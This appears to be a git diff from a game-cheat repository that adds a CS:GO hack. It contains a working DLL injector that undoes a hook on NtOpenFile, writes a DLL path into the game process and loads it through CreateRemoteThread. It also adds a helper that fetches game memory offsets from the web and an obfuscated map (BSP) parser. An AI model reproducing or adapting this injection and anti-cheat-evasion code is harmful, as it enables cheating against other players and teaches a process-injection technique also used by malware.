(Process32Next(Snap, &ProcessInfo)); + } + + CloseHandle(Snap); + return INVALID_HANDLE_VALUE; +} + +int main(int argc, char* argv[]) +{ + HANDLE Handle = INVALID_HANDLE_VALUE; + LPVOID DllMemory = nullptr; + HANDLE Thread = NULL; + + do + { + /* ȡDLL· filesystemC++17汾*/ + std::cout << "DLLȫ· : "; + std::string dll; + getline(std::cin, dll); + if (std::filesystem::exists(dll) == false) + { + std::cout << "[-] DLLļ" << std::endl; + break; + } + + /* ȡCSGO̾ */ + Handle = GetProcessHandle(); + if (Handle == INVALID_HANDLE_VALUE) + { + std::cout << "[-] ȡϷ̾ʧ" << std::endl; + break; + } + + /* ȡNtOpenFileַ */ + LPVOID pNtOpenFile = GetProcAddress(LoadLibraryA("ntdll"), "NtOpenFile"); + if (pNtOpenFile == nullptr) + { + std::cout << "[-] ȡNtOpenFileַʧ" << std::endl; + break; + } + + /* ȡԭʼֽ */ + char OriginalBytes[5]{ 0 }; + memcpy(OriginalBytes, pNtOpenFile, 5); + + /* ԭʼֽдCSGO̵NtOpenFileַ,inline hook */ + SIZE_T Bytes = 0; + WriteProcessMemory(Handle, pNtOpenFile, OriginalBytes, 5, &Bytes); + if (Bytes == 0) + { + std::cout << "[-] ޷дڴinline hook" << std::endl; + break; + } + + /* CSGOϷһڴ汣ǵDLL· */ + DllMemory = VirtualAllocEx(Handle, nullptr, dll.size(), MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE); + if (DllMemory == nullptr) + { + std::cout << "[-] ޷CSGOϷڴ" << std::endl; + break; + } + + /* ǵDLL·дÿڴ */ + WriteProcessMemory(Handle, DllMemory, dll.c_str(), dll.size(), &Bytes); + if (Bytes == 0) + { + std::cout << "[-] ޷дDLL·" << std::endl; + break; + } + + /* Զ̼߳ǵDLL */ + Thread = CreateRemoteThread(Handle, 0, 0, (LPTHREAD_START_ROUTINE)LoadLibraryA, DllMemory, 0, 0); + if (Thread == NULL) + { + std::cout << "[-] ޷Զ߳" << std::endl; + break; + } + + /* ȴԶ̵ִ߳ */ + WaitForSingleObject(Thread, INFINITE); + + /* سɹ */ + std::cout << "[+] עɹ" << std::endl; + } while (false); + + /* */ + if (Handle != INVALID_HANDLE_VALUE) CloseHandle(Handle); + if (DllMemory) VirtualFree(DllMemory, 0, MEM_RELEASE); + if (Thread != NULL) CloseHandle(Thread); + + system("pause"); + return 0; +} \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/README.md" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/README.md" new file mode 100644 index 0000000..8485197 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/README.md" @@ -0,0 +1,31 @@ +# 前言 + +[百度网盘 提取码: 8jpx](https://pan.baidu.com/s/1O1b4kdiKiSIUJ9PrQ2o_pA) + +[效果视频](https://www.ixigua.com/6856437050585907725/?utm_source=xiguastudio) + +[在线播放](https://www.ixigua.com/6856427520339018254/?utm_source=xiguastudio) + + + + + + + + + + + + + + + + + + + + + + + + diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/address.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/address.hpp" new file mode 100644 index 0000000..b912c05 --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/address.hpp" @@ -0,0 +1,83 @@ +#pragma once + +#include + +#include +#pragma comment(lib,"Wininet.lib") + +#include +#include +#include + +class address +{ +private: + std::string m_data; + +public: + address() {} + ~address() { } + + /* ʼ,ҳ */ + bool Initialize(const char* url = "https://github.com/frk1/hazedumper/blob/master/csgo.hpp") + { + /* ҳ·ǷЧ */ + int size = strlen(url); + if (size <= 0) return false; + + /* һƹľ */ + HINTERNET manager = InternetOpenA("CSGO Web", INTERNET_OPEN_TYPE_PRECONFIG, nullptr, nullptr, 0); + if (manager == nullptr) return false; + + /* Ӹҳ */ + HINTERNET target = InternetOpenUrlA(manager, url, nullptr, 0, INTERNET_FLAG_RELOAD, 0); + if (target == nullptr) + { + InternetCloseHandle(manager); + return false; + } + + /* ҳȫݶȡ */ + m_data = ""; + DWORD bytes = 0; + do + { + static const int len = 1024 * 10; + char buffer[len]{ 0 }; + InternetReadFile(target, buffer, len, &bytes); + m_data += buffer; + } while (bytes); + + /* رվ */ + InternetCloseHandle(manager); + InternetCloseHandle(target); + return true; + } + + /* ȡֶָεĵַ */ + int get_address(const char* name) + { + /* ֶЧԼ */ + int size = strlen(name); + if (size <= 0) return 0; + + /* ҳЧԼ */ + if (m_data.empty()) return 0; + + /* ֶβ */ + size_t pos = m_data.find(name); + if (pos == std::string::npos) return 0; + + size_t beg = m_data.find("0x", pos); + size_t end = m_data.find('<', beg); + if (beg == ::std::string::npos || end == std::string::npos) return 0; + std::string buf = m_data.substr(beg, end - beg); + + /* תΪʮ */ + int addr = 0; + std::stringstream translater; + translater << buf; + translater >> std::hex >> addr; + return addr; + } +}; \ No newline at end of file diff --git "a/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/bsp_parser.hpp" "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/bsp_parser.hpp" new file mode 100644 index 0000000..9ee2f3d --- /dev/null +++ "b/[\346\225\231\347\250\213] [\346\234\254\344\272\272] Counterstrike Global Offensive/Q.hvh\351\231\200\350\236\272\350\207\252\347\236\204/bsp_parser.hpp" @@ -0,0 +1,1579 @@ +///-------------------------------------------------------------------------------- +///-- Author ReactiioN +///-- Copyright 2016-2020, ReactiioN +///-- License MIT +///-------------------------------------------------------------------------------- +#ifndef BSPPARSERH +#define BSPPARSERH + +#pragma warning(disable : 4005) +#define $$$ {} + +#undef min +#define max(x,y) x>y?x:y +#define NOMINMAX +#ifdef DEBUG +#define RN_BSP_PARSER_MESSAGES +#endif + +#include +#include +#include +#include +#include +#include +#include + +#include + +#include "obfuscator.hpp" + +namespace rn::detail { + template + class matrix_t + { + using type_array = std::array; + + static constexpr std::size_t clamp_index( + const std::size_t index + ) + { + return std::clamp(index, std::numeric_limits::min(), size() - 1); $$$; + } + + public: + matrix_t() + { + static_assert(num_rows >= 1 && num_cols >= 1, "minimal size for columns and rows is 1"); $$$; + } + + matrix_t( + const matrix_t& rhs + ) = default; + + matrix_t( + matrix_t&& rhs + ) noexcept + { + *this = std::move(rhs); + } + + explicit matrix_t( + const type_array& values + ) + : _data(values) + { } + + template + matrix_t( + arguments&& ...args + ) + : _data{ static_cast(std::forward(args))... } + { } + + ~matrix_t() = default; + + matrix_t& operator = ( + const matrix_t& rhs + ) = default; + + matrix_t& operator = ( + matrix_t&& rhs + ) noexcept + { + _data = rhs._data; $$$; + + rhs.clear(); $$$; + + return *this; $$$; + } + + static constexpr + std::size_t size() + { + return num_rows * num_cols; $$$; + } + + static constexpr + std::size_t rows() + { + return num_rows; $$$; + } + + static constexpr + std::size_t cols() + { + return num_cols; $$$; + } + + static constexpr + bool is_vector() + { + return (num_cols == 1 || num_rows == 1) + && (num_cols == 1 ? num_rows : num_cols) <= 4; $$$; + } + + matrix_t& operator += ( + const matrix_t& rhs + ) + { + for (std::size_t i = 0; i < size(); ++i) { + at(i) += rhs(i); $$$; + } + + return *this; $$$; + } + + matrix_t& operator += ( + const float rhs + ) + { + for (std::size_t i = 0; i < size(); ++i) { + at(i) += rhs; $$$; + } + + return *this; $$$; + } + + matrix_t& operator -= ( + const matrix_t& rhs + ) + { + for (std::size_t i = 0; i < size(); ++i) { + at(i) -= rhs(i); $$$; + } + + return *this; $$$; + } + + matrix_t& operator -= ( + const float rhs + ) + { + for (std::size_t i = 0; i < size(); ++i) { + at(i) -= rhs; $$$; + } + + return *this; $$$; + } + + matrix_t& operator *= ( + const float rhs + ) + { + for (std::size_t i = 0; i < size(); ++i) { + at(i) *= rhs; $$$; + } + + return *this; $$$; + } + + matrix_t& operator /= ( + const float rhs + ) + { + for (std::size_t i = 0; i < size(); ++i) { + at(i) /= rhs; $$$; + } + + return *this; $$$; + } + + matrix_t operator + ( + const matrix_t& rhs + ) const + { + auto lhs = *this; $$$; + lhs += rhs; $$$; + return lhs; $$$; + } + + matrix_t operator + ( + const float rhs + ) const + { + auto lhs = *this; $$$; + lhs += rhs; $$$; + return lhs; $$$; + } + + matrix_t operator - ( + const matrix_t& rhs + ) const + { + auto lhs = *this; $$$; + lhs -= rhs; $$$; + return lhs; $$$; + } + + matrix_t operator - ( + const float rhs + ) const + { + auto lhs = *this; $$$; + lhs -= rhs; $$$; + return lhs; $$$; + } + + matrix_t operator * ( + const float rhs + ) const + { + auto lhs = *this; $$$; + lhs *= rhs; $$$; + return lhs; $$$; + } + + matrix_t operator / ( + const float rhs + ) const + { + auto lhs = *this; $$$; + lhs /= rhs; $$$; + return lhs; $$$; + } + + bool operator == ( + const matrix_t& rhs + ) + { + for (std::size_t i = 0; i < size(); ++i) { + if (at(i) != rhs(i)) { + return false; $$$; + } + } + return true; $$$; + } + + bool operator == ( + const float rhs + ) + { + for (std::size_t i = 0; i < size(); ++i) { + if (at(i) != rhs) { + return false; $$$; + } + } + return true; $$$; + } + + bool operator != ( + const matrix_t& rhs + ) + { + return !((*this) == rhs); $$$; + } + + bool operator != ( + const float rhs + ) + { + return !((*this) == rhs); $$$; + } + + float& operator () ( + const std::size_t index + ) + { + return at(index); $$$; + } + + float& operator () ( + const std::size_t row_index, + const std::size_t col_index + ) + { + return at(row_index, col_index); $$$; + } + + const float& operator () ( + const std::size_t index + ) const + { + return at(index); $$$; + } + + const float& operator () ( + const std::size_t row_index, + const std::size_t col_index + ) const + { + return at(row_index, col_index); $$$; + } + + float& at( + const std::size_t index + ) + { + return _data.at(clamp_index(index)); $$$; + } + + float& at( + const std::size_t row_index, + const std::size_t col_index + ) + { + return at(row_index * num_cols + col_index); $$$; + } + + _NODISCARD + const float& at( + const std::size_t index + ) const + { + return _data.at(clamp_index(index)); $$$; + } + + _NODISCARD + const float& at( + const std::size_t row_index, + const std::size_t col_index + ) const + { + return at(row_index * num_cols + col_index); $$$; + } + + _NODISCARD + bool is_zero() const + { + return all_of(0.f); $$$; + } + + _NODISCARD + bool all_of( + const float value + ) const + { + return std::all_of(_data.begin(), _data.end(), [&value](const float x) + { + return x == value; + }); + } + + _NODISCARD + float normsqr() const + { + static_assert(is_vector(), "norm() can only be used on vectors"); $$$; + + auto value = 0.f; $$$; + + for (const auto& x : _data) { + value += (x * x); $$$; + } + + return value; + } + + _NODISCARD + float norm() const + { + return std::sqrtf(normsqr()); $$$; + } + + matrix_t<1, num_cols> row( + const std::size_t index + ) + { + std::array values; $$$; + + for (std::size_t i = 0; i < num_cols; ++i) { + values[i] = at(index, i); $$$; + } + + return matrix_t<1, num_cols>(values); $$$; + } + + matrix_t col( + const std::size_t index + ) + { + std::array values; $$$; + + for (std::size_t i = 0; i < num_rows; ++i) { + values[i] = at(i, index); $$$; + } + + return matrix_t(values); $$$; + } + + void row( + const std::size_t index, + const matrix_t<1, num_cols>& row_values + ) + { + for (std::size_t i = 0; i < num_cols; ++i) { + at(index, i) = row_values; $$$; + } + } + + void col( + const std::size_t index, + const matrix_t& col_values + ) + { + for (std::size_t i = 0; i < num_rows; ++i) { + at(i, index) = col_values; $$$; + } + } + + void fill( + const float value + ) + { + _data.fill(value); $$$; + } + + void clear() + { + fill(0.f); $$$; + } + + void set( + const type_array& values + ) + { + _data = values; $$$; + } + + void normalize() + { + static_assert(is_vector(), "normalize() can only be used on vectors"); $$$; + + (*this) /= norm(); $$$; + } + + _NODISCARD + matrix_t normalized() const + { + auto lhs = *this; $$$; + lhs.normalize(); $$$; + return lhs; $$$; + } + + template + _NODISCARD + float dot( + const matrix_t& rhs + ) const + { + static_assert(is_vector() && matrix_t::is_vector()); $$$; + + auto value = 0.f; $$$; + + const auto length = size() > rhs_num_rows * rhs_num_cols ? rhs_num_rows * rhs_num_cols : size(); $$$; + + for (std::size_t i = 0; i < length; ++i) { + value += at(i) * rhs(i); $$$; + } + + return value; + } + + _NODISCARD + matrix_t cross( + const matrix_t& rhs + ) const + { + static_assert(size() == 3, "cross() can only be used for 3 dimensional vectors"); $$$; + + return matrix_t{ + at(1) * rhs(2) - at(2) * rhs(1), + at(2) * rhs(0) - at(0) * rhs(2), + at(0) * rhs(1) - at(1) * rhs(0), + }; + } + + _NODISCARD + matrix_t ncross( + const matrix_t& rhs + ) const + { + auto ret = cross(rhs); $$$; + ret.normalize(); $$$; + return ret; $$$; + } + + private: + type_array _data{}; + }; +} + +namespace rn { + using angle2 = detail::matrix_t<1, 2>; + using angle3 = detail::matrix_t<1, 3>; + using matrix3x4 = detail::matrix_t<3, 4>; + using matrix4x4 = detail::matrix_t<4, 4>; + using vector2 = detail::matrix_t<2, 1>; + using vector3 = detail::matrix_t<3, 1>; + using vector4 = detail::matrix_t<4, 1>; + using vmatrix = matrix4x4; +} + +namespace rn::valve { + constexpr bool has_valid_bsp_ident( + const std::int32_t ident + ) + { + return ident >= ('P' << 24) + ('S' << 16) + ('B' << 8) + 'V'; + } + + constexpr std::int32_t MAX_BRUSH_LIGHTMAP_DIM_WITHOUT_BORDER = 32; + constexpr std::int32_t MAX_BRUSH_LIGHTMAP_DIM_INCLUDING_BORDER = 35; + constexpr std::int32_t MAX_DISP_LIGHTMAP_DIM_WITHOUT_BORDER = 128; + constexpr std::int32_t MAX_DISP_LIGHTMAP_DIM_INCLUDING_BORDER = 131; + constexpr std::int32_t MAX_LIGHTMAP_DIM_WITHOUT_BORDER = MAX_DISP_LIGHTMAP_DIM_WITHOUT_BORDER; + constexpr std::int32_t MAX_LIGHTMAP_DIM_INCLUDING_BORDER = MAX_DISP_LIGHTMAP_DIM_INCLUDING_BORDER; + + constexpr float DIST_EPSILON = 0.03125f; + constexpr std::size_t MAX_SURFINFO_VERTS = 32; + constexpr std::int32_t BSPVERSION = 19; + constexpr std::size_t HEADER_LUMPS = 64; + constexpr std::size_t MAX_POLYGONS = 50120; + constexpr std::size_t MAX_MOD_KNOWN = 512; + constexpr std::size_t MAX_MAP_MODELS = 1024; + constexpr std::size_t MAX_MAP_BRUSHES = 8192; + constexpr std::size_t MAX_MAP_ENTITIES = 4096; + constexpr std::size_t MAX_MAP_ENTSTRING = 256 * 1024; + constexpr std::size_t MAX_MAP_NODES = 65536; + constexpr std::size_t MAX_MAP_TEXINFO = 12288; + constexpr std::size_t MAX_MAP_TEXDATA = 2048; + constexpr std::size_t MAX_MAP_LEAFBRUSHES = 65536; + constexpr std::size_t MIN_MAP_DISP_POWER = 2; + constexpr std::size_t MAX_MAP_DISP_POWER = 4; + constexpr std::size_t MAX_MAP_SURFEDGES = 512000; + constexpr std::size_t MAX_DISP_CORNER_NEIGHBORS = 4; + + // NOTE: These are stored in a short in the engine now. Don't use more than 16 bits + constexpr std::int32_t SURF_LIGHT = 0x0001; // value will hold the light strength + constexpr std::int32_t SURF_SLICK = 0x0002; // effects game physics + constexpr std::int32_t SURF_SKY = 0x0004; // don't draw, but add to skybox + constexpr std::int32_t SURF_WARP = 0x0008; // turbulent water warp + constexpr std::int32_t SURF_TRANS = 0x0010; + constexpr std::int32_t SURF_WET = 0x0020; // the surface is wet + constexpr std::int32_t SURF_FLOWING = 0x0040; // scroll towards angle + constexpr std::int32_t SURF_NODRAW = 0x0080; // don't bother referencing the texture + constexpr std::int32_t SURF_Hint32_t = 0x0100; // make a primary bsp splitter + constexpr std::int32_t SURF_SKIP = 0x0200; // completely ignore, allowing non-closed brushes + constexpr std::int32_t SURF_NOLIGHT = 0x0400; // Don't calculate light + constexpr std::int32_t SURF_BUMPLIGHT = 0x0800; // calculate three lightmaps for the surface for bumpmapping + constexpr std::int32_t SURF_HITBOX = 0x8000; // surface is part of a hitbox + + constexpr std::int32_t CONTENTS_EMPTY = 0; // No contents + constexpr std::int32_t CONTENTS_SOLID = 0x1; // an eye is never valid in a solid + constexpr std::int32_t CONTENTS_WINDOW = 0x2; // translucent, but not watery (glass) + constexpr std::int32_t CONTENTS_AUX = 0x4; + constexpr std::int32_t CONTENTS_GRATE = 0x8; // alpha-tested "grate" textures. Bullets/sight pass through, but solids don't + constexpr std::int32_t CONTENTS_SLIME = 0x10; + constexpr std::int32_t CONTENTS_WATER = 0x20; + constexpr std::int32_t CONTENTS_MIST = 0x40; + constexpr std::int32_t CONTENTS_OPAQUE = 0x80; // things that cannot be seen through (may be non-solid though) + constexpr std::int32_t LAST_VISIBLE_CONTENTS = 0x80; + constexpr std::int32_t ALL_VISIBLE_CONTENTS = LAST_VISIBLE_CONTENTS | LAST_VISIBLE_CONTENTS - 1; + constexpr std::int32_t CONTENTS_TESTFOGVOLUME = 0x100; + constexpr std::int32_t CONTENTS_UNUSED3 = 0x200; + constexpr std::int32_t CONTENTS_UNUSED4 = 0x400; + constexpr std::int32_t CONTENTS_UNUSED5 = 0x800; + constexpr std::int32_t CONTENTS_UNUSED6 = 0x1000; + constexpr std::int32_t CONTENTS_UNUSED7 = 0x2000; + constexpr std::int32_t CONTENTS_MOVEABLE = 0x4000; // hits entities which are MOVETYPE_PUSH (doors, plats, etc.) + // remaining contents are non-visible, and don't eat brushes + constexpr std::int32_t CONTENTS_AREAPORTAL = 0x8000; + constexpr std::int32_t CONTENTS_PLAYERCLIP = 0x10000; + constexpr std::int32_t CONTENTS_MONSTERCLIP = 0x20000; + // currents can be added to any other contents, and may be mixed + constexpr std::int32_t CONTENTS_CURRENT_0 = 0x40000; + constexpr std::int32_t CONTENTS_CURRENT_90 = 0x80000; + constexpr std::int32_t CONTENTS_CURRENT_180 = 0x100000; + constexpr std::int32_t CONTENTS_CURRENT_270 = 0x200000; + constexpr std::int32_t CONTENTS_CURRENT_UP = 0x400000; + constexpr std::int32_t CONTENTS_CURRENT_DOWN = 0x800000; + constexpr std::int32_t CONTENTS_ORIGIN = 0x1000000; // removed before bsping an entity + constexpr std::int32_t CONTENTS_MONSTER = 0x2000000; // should never be on a brush, only in game + constexpr std::int32_t CONTENTS_DEBRIS = 0x4000000; + constexpr std::int32_t CONTENTS_DETAIL = 0x8000000; // brushes to be added after vis leafs + constexpr std::int32_t CONTENTS_TRANSLUCENT = 0x10000000; // int32_t set if any surface has trans + constexpr std::int32_t CONTENTS_LADDER = 0x20000000; + constexpr std::int32_t CONTENTS_HITBOX = 0x40000000; // use accurate hitboxes on trace + + // everyhting + constexpr std::int32_t MASK_ALL = 0xFFFFFFFF; + // everything that is normally solid + constexpr std::int32_t MASK_SOLID = CONTENTS_SOLID | CONTENTS_MOVEABLE | CONTENTS_WINDOW | CONTENTS_MONSTER | CONTENTS_GRATE; + // everything that blocks player movement + constexpr std::int32_t MASK_PLAYERSOLID = CONTENTS_SOLID | CONTENTS_MOVEABLE | CONTENTS_PLAYERCLIP | CONTENTS_WINDOW | CONTENTS_MONSTER | CONTENTS_GRATE; + // blocks npc movement + constexpr std::int32_t MASK_NPCSOLID = CONTENTS_SOLID | CONTENTS_MOVEABLE | CONTENTS_MONSTERCLIP | CONTENTS_WINDOW | CONTENTS_MONSTER | CONTENTS_GRATE; + // water physics in these contents + constexpr std::int32_t MASK_WATER = CONTENTS_WATER | CONTENTS_MOVEABLE | CONTENTS_SLIME; + // everything that blocks line of sight + constexpr std::int32_t MASK_OPAQUE = CONTENTS_SOLID | CONTENTS_MOVEABLE | CONTENTS_SLIME | CONTENTS_OPAQUE; + // bullets see these as solid + constexpr std::int32_t MASK_SHOT = CONTENTS_SOLID | CONTENTS_MOVEABLE | CONTENTS_MONSTER | CONTENTS_WINDOW | CONTENTS_DEBRIS | CONTENTS_HITBOX; + // non-raycasted weapons see this as solid (includes grates) + constexpr std::int32_t MASK_SHOT_HULL = CONTENTS_SOLID | CONTENTS_MOVEABLE | CONTENTS_MONSTER | CONTENTS_WINDOW | CONTENTS_DEBRIS | CONTENTS_GRATE; + // everything normally solid, except monsters (world+brush only) + constexpr std::int32_t MASK_SOLID_BRUSHONLY = CONTENTS_SOLID | CONTENTS_MOVEABLE | CONTENTS_WINDOW | CONTENTS_GRATE; + // everything normally solid for player movement, except monsters (world+brush only) + constexpr std::int32_t MASK_PLAYERSOLID_BRUSHONLY = CONTENTS_SOLID | CONTENTS_MOVEABLE | CONTENTS_WINDOW | CONTENTS_PLAYERCLIP | CONTENTS_GRATE; + // everything normally solid for npc movement, except monsters (world+brush only) + constexpr std::int32_t MASK_NPCSOLID_BRUSHONLY = CONTENTS_SOLID | CONTENTS_MOVEABLE | CONTENTS_WINDOW | CONTENTS_MONSTERCLIP | CONTENTS_GRATE; + // just the world, used for route rebuilding + constexpr std::int32_t MASK_NPCWORLDSTATIC = CONTENTS_SOLID | CONTENTS_WINDOW | CONTENTS_MONSTERCLIP | CONTENTS_GRATE; + // UNDONE: This is untested, any moving water + constexpr std::int32_t MASK_CURRENT = CONTENTS_CURRENT_0 | CONTENTS_CURRENT_90 | CONTENTS_CURRENT_180 | CONTENTS_CURRENT_270 | CONTENTS_CURRENT_UP | CONTENTS_CURRENT_DOWN; + constexpr std::int32_t MASK_DEADSOLID = CONTENTS_SOLID | CONTENTS_PLAYERCLIP | CONTENTS_WINDOW | CONTENTS_GRATE; + + enum class lump_index + : std::size_t + { + entities = 0, + planes = 1, + tex_data = 2, + vertices = 3, // "LUMP_VERTEXES" + visibility = 4, + nodes = 5, + tex_info = 6, + faces = 7, + lighting = 8, + occlusion = 9, + leafs = 10, + edges = 12, + surfedges = 13, + models = 14, + world_lights = 15, + leaf_faces = 16, + leaf_brushes = 17, + brushes = 18, + brush_sides = 19, + ares = 20, + area_portals = 21, + portals = 22, + clusters = 23, + portal_verts = 24, + cluster_portals = 25, + disp_info = 26, + original_faces = 27, + phys_collide = 29, + vert_normals = 30, + vert_normal_indices = 31, + lightmap_alphas = 32, + disp_verts = 33, + disp_lightmap_sample_positions = 34, + game_lump = 35, + leafwaterdata = 36, + primitives = 37, + prim_vertices = 38, + prim_indices = 39, + pak_file = 40, + clipportal_vertices = 41, + cubemaps = 42, + texdata_string_data = 43, + texdata_string_table = 44, + overlays = 45, + leaf_min_dist_to_water = 46, + face_macro_texture_info = 47, + disp_tris = 48 + }; + + class lump_t + { + using type_four_cc = std::array; + public: + std::int32_t file_offset = 0; // 0x0 + std::int32_t file_size = 0; // 0x4 + std::int32_t version = 0; // 0x8 + type_four_cc four_cc{}; // 0xC + };//Size=0x10 + + class dheader_t + { + using type_lumps = std::array; + + public: + std::int32_t ident = 0; // 0x000 + std::int32_t version = 0; // 0x004 + type_lumps lumps{}; // 0x008 + std::int32_t map_revision = 0; // 0x408 + };//Size=0x40C + + class dplane_t + { + public: + vector3 normal; // 0x00 + float distance; // 0x0C + std::int32_t type; // 0x10 + };//Size=0x14 + + class cplane_t + { + public: + vector3 normal; // 0x00 + float distance; // 0x0C + std::uint8_t type; // 0x10 + std::uint8_t sign_bits; // 0x11 + private: + std::uint8_t _pad0x12[0x2]{}; // 0x12 + };//Size=0x14 + + class dedge_t + { + public: + std::array v; // 0x0 + };//Size=0x4 + + class mvertex_t + { + public: + vector3 position; // 0x0 + };//Size=0xC + + class dleaf_t + { + using type_min_max = std::array; + + public: + std::int32_t contents; // 0x00 + std::int16_t cluster; // 0x04 + std::int16_t area : 9; // 0x06 + std::int16_t flags : 7; // 0x11 + type_min_max mins; // 0x1A + type_min_max maxs; // 0x20 + std::uint16_t first_leafface; // 0x26 + std::uint16_t num_leaffaces; // 0x28 + std::uint16_t first_leafbrush; // 0x2A + std::uint16_t num_leafbrushes; // 0x2C + std::int16_t leaf_water_data_id; // 0x2E + };//Size=0x30 + + class dnode_t + { + using type_min_max = std::array; + using type_children = std::array; + + public: + std::int32_t plane_num; // 0x00 + type_children children; // 0x04 + type_min_max mins; // 0x0C + type_min_max maxs; // 0x12 + std::uint16_t first_face; // 0x18 + std::uint16_t num_faces; // 0x1A + std::int16_t area; // 0x1C + private: + std::uint8_t _pad0x1E[0x2]{}; // 0x1E + };//Size=0x20 + + class snode_t + { + using type_min_max = std::array; + using type_children = std::array; + + public: + std::int32_t plane_num; // 0x00 + cplane_t* plane; // 0x04 + type_children children; // 0x08 + dleaf_t* leaf_children; // 0x10 + snode_t* node_children; // 0x14 + type_min_max mins; // 0x18 + type_min_max maxs; // 0x1E + std::uint16_t first_face; // 0x24 + std::uint16_t num_faces; // 0x26 + std::int16_t area; // 0x28 + private: + std::uint8_t _pad0x2A[0x2]{}; // 0x2A + };//Size=0x2C + + class dface_t + { + using type_styles = std::array; + using type_luxels = std::array; + + public: + std::uint16_t plane_num; // 0x00 + std::uint8_t side; // 0x02 + std::uint8_t on_node; // 0x03 + std::int32_t first_edge; // 0x04 + std::int16_t num_edges; // 0x08 + std::int16_t tex_info; // 0x0A + std::int16_t disp_info; // 0x0C + std::int16_t surface_fog_volume_id; // 0x0E + type_styles styles; // 0x10 + std::int32_t light_offset; // 0x18 + float area; // 0x1C + type_luxels lightmap_texture_mins_in_luxels; // 0x20 + type_luxels lightmap_texture_size_in_luxels; // 0x28 + std::int32_t orig_face; // 0x30 + std::uint16_t num_prims; // 0x34 + std::uint16_t first_prim_id; // 0x36 + std::uint16_t smoothing_groups; // 0x38 + };//Size=0x3A + + class dbrush_t + { + public: + std::int32_t first_side; // 0x0 + std::int32_t num_sides; // 0x4 + std::int32_t contents; // 0x8 + };//Size=0xC + + class dbrushside_t + { + public: + std::uint16_t plane_num; // 0x0 + std::int16_t tex_info; // 0x2 + std::int16_t disp_info; // 0x4 + std::uint8_t bevel; // 0x6 + std::uint8_t thin; // 0x7 + };//Size=0x8 + + class texinfo_t + { + using type_vecs = std::array; + + public: + type_vecs texture_vecs; // 0x00 + type_vecs lightmap_vecs; // 0x20 + std::int32_t flags; // 0x40 + std::int32_t tex_data; // 0x44 + };//Size=0x48 + + class VPlane + { + public: + VPlane() = default; + + VPlane( + const vector3& origin, + const float distance + ) + : origin(origin) + , distance(distance) + { } + + VPlane( + const VPlane& rhs + ) = default; + + VPlane( + VPlane&& rhs + ) noexcept + { + *this = std::move(rhs); $$$; + } + + VPlane& operator = ( + const VPlane& rhs + ) = default; + + VPlane& operator = ( + VPlane&& rhs + ) noexcept + { + origin = std::move(rhs.origin); $$$; + distance = rhs.distance; $$$; + + rhs.distance = 0.f; $$$; + + return *this; $$$; + } + + _NODISCARD + float dist( + const vector3& destination + ) const + { + return origin.dot(destination) - distance; $$$; + } + + void init( + const vector3& origin, + const float distance + ) + { + this->origin = origin; $$$; + this->distance = distance; $$$; + } + + public: + vector3 origin = 0.f; + float distance = 0.f; + }; + + class polygon + { + using type_surfinfo_vecs = std::array; + using type_edge_planes = std::array; + + public: + type_surfinfo_vecs verts; + std::size_t num_verts = 0; + VPlane plane; + type_edge_planes edge_planes; + type_surfinfo_vecs vec2d; + std::int32_t skip = 0; + }; + + struct trace_t + { + /// + /// Determine if a plan is NOT valid + /// + bool all_solid = true; + /// + /// Determine if the start point was in a solid area + /// + bool start_solid = true; + /// + /// Time completed, 1.0 = didn't hit anything + /// + float fraction = 1.f; + float fraction_left_solid = 1.f; + /// + /// Final trace position + /// + vector3 end_pos; + std::int32_t contents = 0; + dbrush_t* brush = nullptr; + std::int32_t num_brush_sides = 0; + + void clear() + { + all_solid = true; $$$; + start_solid = true; $$$; + fraction = 1.f; $$$; + fraction_left_solid = 1.f; $$$; + contents = 0; $$$; + brush = nullptr; $$$; + num_brush_sides = 0; $$$; + end_pos.clear(); $$$; + } + }; +} + +#include + +namespace rn { + class bsp_parser final + { + public: + bsp_parser() = default; + + ~bsp_parser() = default; + + bsp_parser( + const bsp_parser& rhs + ) = delete; + + bsp_parser& operator = ( + const bsp_parser& rhs + ) = delete; + + bsp_parser( + bsp_parser&& rhs + ) noexcept + { + *this = std::move(rhs); $$$; + } + + bsp_parser& operator = ( + bsp_parser&& rhs + ) noexcept + { + std::unique_lock lock(rhs._mutex); $$$; + + _bsp_header = rhs._bsp_header; $$$; + std::memset(&rhs._bsp_header, 0, sizeof(valve::dheader_t)); $$$; + + _vertices = std::move(rhs._vertices); $$$; + _planes = std::move(rhs._planes); $$$; + _edges = std::move(rhs._edges); $$$; + _surf_edges = std::move(rhs._surf_edges); $$$; + _leaves = std::move(rhs._leaves); $$$; + _nodes = std::move(rhs._nodes); $$$; + _surfaces = std::move(rhs._surfaces); $$$; + _tex_infos = std::move(rhs._tex_infos); $$$; + _brushes = std::move(rhs._brushes); $$$; + _brush_sides = std::move(rhs._brush_sides); $$$; + _leaf_faces = std::move(rhs._leaf_faces); $$$; + _leaf_brushes = std::move(rhs._leaf_brushes); $$$; + _polygons = std::move(rhs._polygons); $$$; + + return *this; $$$; + } + + private: + bool set_current_map( + const std::string& directory, + const std::string& map_name, + std::string& file_path + ) + { + static auto fix_seperators = [](const std::string& input) + { + // convert seperators from DOS to UNIX + return std::filesystem::path(input).generic_string(); + }; + + if (directory.empty() || map_name.empty()) { + return false; $$$; + } + + file_path = fix_seperators(directory) + .append("/") + .append(fix_seperators(map_name)); $$$; + + _map_name = map_name; $$$; + +#if defined(RN_BSP_PARSER_MESSAGES) + printf(AY_OBFUSCATE("[+] Loading map: %s ...\n"), 